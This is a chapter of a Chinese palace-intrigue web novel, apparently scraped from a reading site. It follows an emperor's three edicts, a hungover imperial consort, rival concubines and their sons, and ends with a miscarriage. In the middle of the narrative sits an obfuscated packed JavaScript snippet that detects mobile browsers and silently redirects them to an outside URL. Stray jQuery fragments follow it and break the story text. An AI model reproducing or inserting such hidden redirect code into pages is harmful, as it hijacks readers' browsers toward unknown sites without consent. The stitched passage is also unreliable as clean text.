123读书网 > 玄幻小说 > 贵妃不贪欢 > 17. 小产
    就在皇上猜忌秦家、鸟尽弓藏的传言甚嚣尘上时,当夜,沈昱连下了三道圣旨。


    第一道,朕亲自往皇陵持斋七日,为先皇祈福。


    这是做给天下人看的——他不是那不孝之子,更不是那等登基便忘了根本的昏君。皇陵的风霜越苦,他的孝心越真。


    第二道,贵妃秦氏贤德,虽因无子自请降位,然朕不忍负永靖候府的忠君之义,更不舍与秦氏的夫妻之情。故此后宫一切事宜,皆由贵妃协理,所有权力、礼数、用度,一概比照皇后。阖宫上下,不得怠慢。皇后之位,朕愿虚位以待。


    第三道,永靖候秦徽戍边多年,年迈辛苦,朕许其回京荣养。其子秦霄云袭镇国将军位,留戍北境。另敕封其次子秦霄野为定东候,即日前赴东境练兵,并负责与海东国的一切外交事宜。


    三道圣旨,将流言砸的粉碎。


    一夜之间,风向变了。


    那些关于“皇上忌惮功臣”的流言,被圣旨轻轻一抹,便消失得无影无踪。


    取而代之的,是另一种声音——


    秦家功高震主,皇上得罪不起。更有甚者,将矛头指向了后宫,说贵妃秦宝宜那日在金殿自请降位,分明是逼皇上大封秦家!


    一门两候。


    这是大齐开国百年来,从未有过之事。


    也有老臣眼光毒辣,看出了苗头不对——


    先帝在时,曾钦命秦霄野入禁军,摆明了是要为日后接手禁军做准备。是宠信。


    可皇上这一道旨意,表面看是提拔,实则却将人调离了权力中心。


    秦家在京中,从此只剩一位“不得干政”的贵妃。


    次日天亮,那三道圣旨的内容,传遍了整座皇宫。


    嫔妃们原本因为后位空悬,没了每日请安的规矩,正乐得清闲。可这圣旨一下,她们不得不早早地打起精神,到正阳宫来点卯。


    贵妃协理后宫。权力、礼数、用度,一概比照皇后。


    这话什么意思?意思是往后这后宫里,秦宝宜说了算。


    她们敢不来吗?


    可她们来了,却在正阳宫门口,吃了个结结实实的闭门羹。


    因为,秦宝宜正在睡大觉。


    昨夜,她借着酒意,看着院子里那些翻出来的刀枪剑戟,兴起。将近子时了,又着宫人摆上数个小炉,围炉煮茶夜话。


    正阳宫的这些奴才里,有她带进宫的陪嫁,有皇后娘娘留下的老人,总归都是信得过的。


    秦宝宜把家里带兵那套法子,用在后宫收买人心上——


    吃喝算什么?她还把嫁妆箱子里收拾出来的金叶子、缎匹、金银首饰,捡合适的,一股脑儿都分给了奴才们。


    大家一处,无尊无卑,说说笑笑,至凌晨方歇。好不惬意。


    这也导致了,此刻正阳宫外,嫔妃们巴巴地站了半个多时辰,在料峭春寒里冻得直打哆嗦。


    真不是秦宝宜摆款儿。是正阳宫上下,都宿醉没起。


    “主子不像主子,奴才不像奴才!这都巳时了!”


    最先开口的,竟是德妃——从前的李承徽。


    她生得纤弱,此刻只披了件锦缎斗篷,更显得弱柳扶风、身量纤纤。


    可那单薄的料子挡不住冷风,她的嘴唇已经冻得发白,说出来的话,也带着一丝平日没有的尖刻。


    “她从前不是最守规矩的吗?真是荒唐。”


    她手里还拉着三岁的三皇子沈璋。那孩子也冻得小脸通红,直往她身上蹭,奶声奶气地喊冷。


    “我瞧着,咱们从前,怕是都看错了她。”


    说话的是贤妃柳氏——庶次子沈琪的生母。


    她生得妩媚,此刻裹着一件狐毛大氅,怀里还揣着手炉,倒是半点不惧这春寒。她拉着自己那虎头虎脑的儿子,二皇子沈琪,脸上带着看好戏似的的笑意。


    “生在秦家,是她命好。可这份以退为进的手腕,确实是人家的本事。”


    她顿了顿,目光从德妃脸上扫过,落在那紧闭的正阳宫大门上。


    “咱们啊,且看着吧。”


    “她有什么本事?”丽嫔的声音尖尖的,带着一股掩不住的忿忿。


    她今日又穿了那身骑装,水蓝色的,腰身勒得细细的,像是焊在了身上。嘴唇冻得发紫,却还强撑着挺直腰板,不肯在人前露了怯。


    “这样骄横,那个男人会喜欢?”


    没有人接她的话。


    倒是慧嫔朴氏,远远地站在人群外侧,与几个低位嫔妃说笑着。她穿着一身素净的衣裳,眉眼带着异域的风情,站在那一片花团锦簇里,反而格外醒目。


    她像是没听见这边的动静,只是偶尔抬眼,往正阳宫的方向看一眼。目光平静,看不出什么情绪。


    又等了一盏茶的功夫。


    正阳宫的大门,终于开了。


    青黛快步走进内殿,拢起床幔。


    “主子,醒醒。嫔妃们来请安了。”


    帐幔里,秦宝宜睡得正香。


    藕荷色的锦被裹着她,像朵聚拢的芍药。一条白花花的膀子露在外面,被寒气一激,本能地往被子里缩了缩,嘴里嘟囔着:“请什么安啊?”


    青黛伸手去拉她,“都巳时了!外面站了十几位娘娘呢!”


    秦宝宜迷迷糊糊地睁开眼。


    “嗯。”她应了一声,又闭上了。


    青黛招呼着小丫头们准备热水、衣裳、梳妆用具,又亲自打湿了帕子,替秦宝宜净面。


    帕子是温的,敷在脸上,舒服得很。秦宝宜这才慢慢清醒过来,由着青黛替她通发。


    “主子,昨夜皇上连下了三道圣旨。”青黛一边梳头,一边把外面的消息,慢条斯理地说给她听。


    秦宝宜脑子还是浑浑沌沌的。直到听见最后一句,她的眼皮跳了一下。


    “把霄野派去东边?”


    她睁开眼,望着镜中的自己。


    铜镜里那张脸,还带着宿醉的倦意,两腮酡红,眼波流转。她望着那张脸,望着那张脸上慢慢浮起的神色,轻轻吐出两个字:“混蛋。”


    青黛的手顿了一下。


    “主子,要不要让二公子装个病,拖一拖?”


    “先问问霄野的意思。”她揉了揉太阳穴,把残余的酒意驱散干净。


    青黛不再多问,继续替她梳头。


    秦宝宜望着窗外那一片明亮的日光,心思却渐渐飘远了。


    又是海东国。


    冯坤说,先皇与沈昱争吵时,提到了海东国。


    可海东国这几年安分得很,除了朝觐纳贡,与大齐几无往来。这样一个弹丸小国,有什么值得吵的?


    而且,沈昱在先皇面前,向来是有求必应的孝子。先皇这两年对沈昱也无不满。到底为什么,会突然在争执中提到海东国?


    就在这次争吵之后,先皇便急病驾崩了。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248660|197441||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    区区海东国,为什么会逼得沈昱狗急跳墙?


    “主子,这书奴婢先替您收起来。”


    青黛的声音打断了她的思绪。她回头一看,青黛正从她枕边拿起之前翻了一半的兵书。


    秦宝宜的目光落在那本书上。


    蓝布皮,磨得发毛的边角,褪了色的布面。


    她忽然想起先皇后留给她的那本。


    电光火石间,两个字闯进她脑海里。


    ——血统。


    “慧嫔来了吗?”她问。朴,是海东国的国姓。


    青黛愣了一下:“在呢。都在外面候着呢。”


    “待会儿,你悄悄让慧嫔留下。”秦宝宜吩咐翠翠。


    翠翠点头,无声地退到一旁。


    秦宝宜随手挑了件青色的宽袖裙子,匆匆穿上。还没等出门,就听见外面闹了起来——


    “我先捡到的!”


    二皇子沈琪的声音,又脆又响,像一颗小炮仗炸开了。他手里举着片在院子里捡到的金叶子,阳光下金光闪闪,好看得紧。


    “我也要!给我看看!”


    大皇子沈环说着就要去抢。


    两个孩子,就这么在正阳宫的院子里,你推我搡地闹了起来。


    二皇子生得虎头虎脑,壮得像头小牛犊子,比大皇子还高了半头。他高举着金叶子,大皇子踮起脚也够不到,急得直跳脚。


    “我是大哥!”大皇子涨红了脸,“你要听我的!”


    他拿头一撞,正撞在二皇子肚子。


    二皇子没防备,被撞了个仰倒,一屁股坐在地上。金叶子脱了手,飘飘悠悠地落在地上,在日光下闪了闪。


    柳氏站在一旁,看着自己儿子吃亏,却没有急着上前。


    她只是让宫人把二皇子扶起来,自己弯腰捡起那片金叶子,递到大皇子面前。


    “你说的对。”她的声音爽利,脸上还带着笑,“他是弟弟,该让着你。”


    大皇子接过金叶子,得意洋洋地扬起下巴。


    柳氏拍了拍二皇子身上的土,轻声道:“不碍事的,回头娘给你做个更好的。”


    一抬头,正看见秦宝宜站在正阳宫门口。


    柳氏快步走上前,笑着赔罪:


    “都是琪儿的不是,不懂得敬重兄长。惊扰了娘娘,真是该死。”


    “青黛,带大皇子下去。”秦宝宜收回目光,声音懒懒的,“本宫新得了一壶阳羡茶,是贤妃家乡的口味。略坐坐,尝尝?”


    柳氏微微欠身:“娘娘抬爱,嫔妾恭敬不如从命。”


    秦宝宜的目光从她脸上移开,扫过院子里那些嫔妃——


    德妃站在人群最外侧,仍是那副纤纤弱弱的样子,脸色却白得有些吓人。


    丽嫔一脸忿忿,嘴唇冻得发紫,却还强撑着,像只斗鸡。


    慧嫔远远地站着,与几个低位妃嫔说笑着,偶尔抬眼往这边看一眼。与她点了点头。


    “旁人,都散了吧。”秦宝宜说。


    嫔妃们纷纷行礼告退。


    德妃走在前面。她刚走到院门口,忽然身子一软,像一截柳枝似的,软绵绵地往下倒。


    她的婢女惊叫一声,伸手去扶,却已经晚了。紧接着,又是一声惊叫——


    众人看过去,德妃的裙摆已被鲜血染红。


    青黛挡在前面,看着那团污秽,在她耳边低声道:“主子,德妃这是……小产了?”